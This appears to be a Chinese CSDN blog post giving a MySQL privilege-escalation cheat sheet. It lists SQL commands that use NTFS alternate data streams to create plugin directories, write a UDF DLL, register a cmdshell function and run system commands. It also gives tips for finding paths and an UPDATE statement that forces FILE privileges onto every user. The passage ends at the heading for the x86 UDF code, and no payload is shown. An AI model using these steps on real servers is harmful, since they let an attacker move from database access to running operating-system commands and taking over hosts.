SQL提权

最新推荐文章于 2024-07-13 22:05:55 发布

小向科技资源网

最新推荐文章于 2024-07-13 22:05:55 发布

阅读量956

点赞数

分类专栏：漏洞文章标签： UDF MOF SA 漏洞安全

本文链接：https://blog.csdn.net/qq_40801316/article/details/81702842

版权

本文介绍了SQL提权的方法，包括利用UDF（用户定义函数）手工创建cmd函数，通过MOF文件进行注册表提权，以及SA账户的相关提权技巧。涉及的关键步骤包括创建库目录、注入代码、启用扩展存储过程等，旨在探讨SQL服务器的安全隐患及防护措施。

摘要由CSDN通过智能技术生成

UDF手工提权辅助：

select @@basedir; #查看mysql安装目录

select 'It is dll' into dumpfile 'C:\。。lib::'; #利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\。。lib\plugin::'; #利用NTFS ADS创建plugin目录

select 0xUDFcode into dumpfile 'C:\phpstu\MySQL\lib\plugin\mstlab.dll'; #导出udfcode，注意修改udfcode

create function cmdshell returns string soname 'mstlab.dll'; #用udf创建cmd函数，shell,sys_exec,sys_eval

select shell('cmd','net user'); #执行cmd命令

show variables like '%plugin%'; #查看plugin路径

小技巧：

1.HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MySQL 注册表中ImagePath的值为mysql安装目录

2.my.ini中datadir的值是数据存放目录

3.UPDATE user set File_priv ='Y'; flush privileges; 强制加file权限

UDFcode x86：